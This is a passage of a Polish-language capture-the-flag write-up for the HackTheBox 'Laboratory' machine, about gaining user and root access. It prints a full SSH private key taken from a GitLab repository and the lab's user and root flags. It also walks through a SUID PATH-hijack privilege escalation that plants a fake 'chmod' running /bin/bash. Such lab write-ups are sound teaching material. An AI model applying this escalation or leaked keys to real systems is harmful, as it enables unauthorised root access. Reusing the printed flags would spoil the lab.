Enqueued ActionMailer::DeliveryJob (Job ID: 7ca2489f-54a6-4886-93c8-152314c482c2) to Sidekiq(mailers) with arguments: "DeviseMailer", "password_change", "deliver_now", #<GlobalID:0x00007fad9482a7a0 @uri=#<URI::GID gid://gitlab/User/1>>
=> true

Spróbowałem więc zalogować się na GitLabie jako użytkownik dexter. Po poprawnym uwierzytelnieniu, otrzymałem dostęp do dwóch repozytoriów:

GitLab Admin Repos

Moją uwagę od razu przykuło repozytorium SecureDocker oznaczone klauzulą CONFIDENTIAL.

W repozytorium znalazłem między innymi klucz publiczny SSH:

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCxl8OPcBJ1vlhLczCOwPz7km+d6VSz7IjbtW4MPs/bWh1J81SAIK2hIT6/yw81oH/EXQJWpAe2eGdZ7qd3FdYfBvfhROh2rqDac6W+05D0hPFJ68NJwz9y0jqHjZ0UGGz7xxb25LE7CUVHhvvQT62/cEzdahaDCle+C4/a5kXhJQ1Yr/x2z1PFhboLVaQALxnbkzse0td/Va5dT/aOfDb1vODM7ikk+8wdTFdXA3zf2MBOBCU2nn25AMFSJxd7Can/klIus49BKQOsRgCckwHh/1E13JsLoS+ZeyBL1+jgsbKFIC4W1PU6OrI5jW7AsZakviNwPEqJ+4Iw8t/mClJAe/DR+rr+EXhKmoziJcMZjunnbB7Qp6TeE/QOpC0S+7EJrvCmfcjW0qw2ZqCdd2oHeQirloRsZIRJthMBS+HjmDDaCTSX7dOw7NZWjCxomrmQLIObjHR+DwF9w+SQp+KL0qc0qyd1cgfSuDRCWU+MAL9kaGyNZJEbj2s/Kh9diu8= root@laboratory

oraz prywatny:

-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

Zapisałem jego zawartość do pliku dexter_priv_key, nadałem właściwe uprawnienia oraz nawiązałem sesję ssh:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $chmod 400 ./dexter_priv_key 
┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $ssh dexter@git.laboratory.htb -i dexter_priv_key

Pozostało odczytać flagę użytkownika:

dexter@laboratory:~$ cat user.txt
7f0691db1efb9d1feead843b480d13f0

6. Eskalacja uprawnień: dexter ⇨ root

Ponownie przesłałem na serwer narzędzie linpeas.sh:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory]
└──╼ $scp -i dexter_priv_key ./linpeas.sh dexter@git.laboratory.htb:/dev/shm/linpeas.sh
linpeas.sh                                                  100%  223KB 663.1KB/s   00:00

i uruchomiłem je:

dexter@laboratory:/dev/shm$ chmod +x linpeas.sh 
dexter@laboratory:/dev/shm$ ./linpeas.sh

Moją uwagę zwrócił proces:

 20K -rwsr-xr-x 1 root dexter  17K Aug 28 14:52 /usr/local/bin/docker-security

który miał ustawiony bit SUID.

Nie znałem tego programu, nie znalazłem o nim wzmianki w dokumentacji Dockera ani na gtfobins. Pobrałem zatem plik na swoją maszynę:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $scp -i ../dexter_priv_key dexter@laboratory.htb:/usr/local/bin/docker-security ./
docker-security                                             100%   16KB 149.5KB/s   00:00

Plik był 64-bitowym plikiem wykonywalnym:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $file docker-security 
docker-security: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d466f1fb0f54c0274e5d05974e81f19dc1e76602, for GNU/Linux 3.2.0, not stripped

Analiza ciągów znaków, które występowały w pliku, ujawniła możliwość wykorzystania polecenia chmod przez program:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $strings docker-security | grep chmod
chmod 700 /usr/bin/docker
chmod 660 /var/run/docker.sock

Potwierdziłem ten fakt, uruchamiając cuttera i deasemblując program:

┌─[t4wny0wl@whitehatlab]─[~/ctf/hackthebox/Machines/Linux/Laboratory/docker-security]
└──╼ $cutter docker-security

Faktycznie, w funkcji main pojawiło się dwukrotne wywołanie polecenia chmod:

Docker Security disas

Pozostało zatem udostępnić programowi możliwość wykonania lepszej wersji narzędzia chmod:

dexter@laboratory:/dev/shm$ echo /bin/bash > chmod
dexter@laboratory:/dev/shm$ chmod +x chmod
dexter@laboratory:/dev/shm$ export PATH=/dev/shm:$PATH
dexter@laboratory:/dev/shm$ /usr/local/bin/docker-security

i odczytać flagę:

root@laboratory:/dev/shm# cat /root/root.txt
1ca8dc5e00c0a8fb955dd642b81f73eb

7. Podsumowanie

Do zdobycia flag doprowadziły poniższe okoliczności: